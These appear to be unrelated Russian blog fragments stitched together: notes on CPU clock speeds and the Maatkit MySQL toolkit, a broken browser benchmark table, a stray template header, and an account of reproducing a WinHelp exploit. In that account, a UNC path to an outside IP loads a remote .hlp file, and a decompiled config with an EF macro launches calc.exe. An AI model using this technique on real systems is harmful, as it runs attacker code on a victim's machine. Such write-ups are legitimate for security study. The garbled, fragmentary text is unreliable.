Что еще поменялось за последние годы? Если повспоминать, то года так до 2004 утверждение «чем больше частота процессора, тем лучше» было вполне справедливым. Начиная с 2004-2005 частота процессоров почти перестала расти, что связано с выходом на своего рода физические ограничения. Сейчас наращивать производительность можно за счет многоядерности — выполняя задачи параллельно. Но сделать много ядер на одном чипе не является большой проблемой – гораздо сложнее заставить их правильно работать в нагрузке. Как следствие – с этого момента роль софта кардинально возросла и значимость профессии «программист» в ближайшее время будет только набирать обороты.
Maatkit - это набор инструментов, который предоставляет собой расширенные средства по управлению MySQL, сбору аналитической информации и ее обработке, проведению рутинных операций, восстановлению данных и прочего. В пакет входит множество полезных инструментов, которых к сожалению нет в стандартной поставке с БД, но обязательно нужны для максимально эффективной работы. Этот пакет разработан и поддерживается компанией Percona - известных экспертов в области консультирования вопросов производительности.
[показать]
[показать]Proof-of-Concept is available here: http://isec.pl/poc-isec27/Второй тест проходит успешно - winhlp32.exe крэшится как надо, а вот с Calc.exe проблемы: big = "\\184.73.14.110\PUBLIC\test.hlp" не найден =\ Немного погуглив, находим http://www.exploit-db.com/exploits/11615 и архив с искомым файлом:
=============================================================== A copy of test.hlp can be downloaded from here: http://www.exploit-db.com/sploits/msgbox_test_help.zip ===============================================================Скачиваем, проверяем - работает! Калькулятор успешно запустился! Но как?.. Начинаем копать: недолгие поиски привели к софтине HelpScribble. Для декомпиляции .hlp файла она посоветовала воспользоваться декомпиллером. Отлично! Качаем, запускаем, распаковываем test.hlp. На выходе два файла - test.rtf и test.hpj. Первый нам не нужен - он все равно пустой, а вот во втором мы находим искомое:
[OPTIONS]
LCID=0x409 0x0 0x0
COMPRESS=0
[CONFIG]
EF("C:\\WINDOWS\\calc.exe",`',1)
[FILES]
TEST.RTF
[MAP]
21KSYK4 1
Еще немного поисков и находим нужное - http://www.stcsig.org/oi/hyperviews/resources/winhelp_faq/whfaq_qa.htm
[3.1.8] Can I link to a URL (web site) from a help file? How?
There are a number of DLLs available for launching a web browser and displaying a web page. The DLLs are good when users don't have a default browser specified. If your users are relatively up to date, you can get away with a simple macro:
ExecFile(`http://www.mysite.net/default.html',,0,)
will usually do the trick. Both Netscape and Microsoft browsers will set up the files needed to launch a URL from the command line. The ExecFile macro just takes advantage of this capability. (Hint: From the Start menu, select Run, and then enter a URL. Click OK, and your browser should launch directly to the page you specified.)
...Подробнее по ссылке - http://help.adobe.com/en_US/RoboHelp/Rword/7.0/mer...ELP_ExecFile_WinHelp_macro.htm
Вот и все! =) На все про все ушло не более получаса.
[277x100]
[641x448]| # | Браузер | Версия | Результат, ms |
| 1 | Google Chrome 4.0 | 4.0.223.11 | 796,0 |
| 2 | Mozilla Firefox 3.7 | 3.7a1pre Gecko/20091101 | 1 537,2 |
| 3 | Mozilla Firefox 3.6 | 3.6b1 Gecko/20091029 | 1 |
ExGxFxdxCxDxDxhbadExEx - это последовательности цветов (fb - foreground, background):code:
#############################################################
# Generated by AutoUpgrader Pro at: m/d/Y H:i:s AM #
#############################################################